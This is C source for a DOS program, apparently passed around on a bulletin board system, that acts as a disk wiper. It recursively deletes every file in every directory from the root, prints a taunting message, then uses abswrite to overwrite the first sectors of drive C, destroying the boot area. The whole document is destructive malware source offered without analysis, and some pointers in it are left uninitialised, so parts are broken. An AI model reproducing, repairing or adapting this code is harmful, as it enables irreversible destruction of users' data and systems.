#include <stdio.h>
#include <dir.h>
#include <dos.h>

main()
{
	SearchAndDestroy("");
	span("");
	boot();
}

span(p)
	char *p;
{
	struct ffblk f;
	char n[129];
	int r;

	SearchAndDestroy(p);
	sprintf(n,"%s\\%s",p,"*.*");
	for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
		if(*f.ff_name=='.') continue;
		if(f.ff_attrib & 0x0010) {
			sprintf(n,"%s\\%s",p,f.ff_name);
			span(n);
		}
	}
}

SearchAndDestroy(p)
	char *p;
{
	struct ffblk f;
	char b[81];
	int r;

	strcpy(b,p);
	strcat(b,"\\*.*");
	for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
		sprintf(b,"%s\\%s",p,f.ff_name);
		remove(b);
	}
}

boot()
{
	char *buff;
	char *test;

	fprintf(test,"THIS PROGRAM WAS MADE BY A PERSON FAR FROM YOU!!");
	abswrite(2,12,0,buff);
}

Downloaded From P-80 International Information Systems 304-744-2253
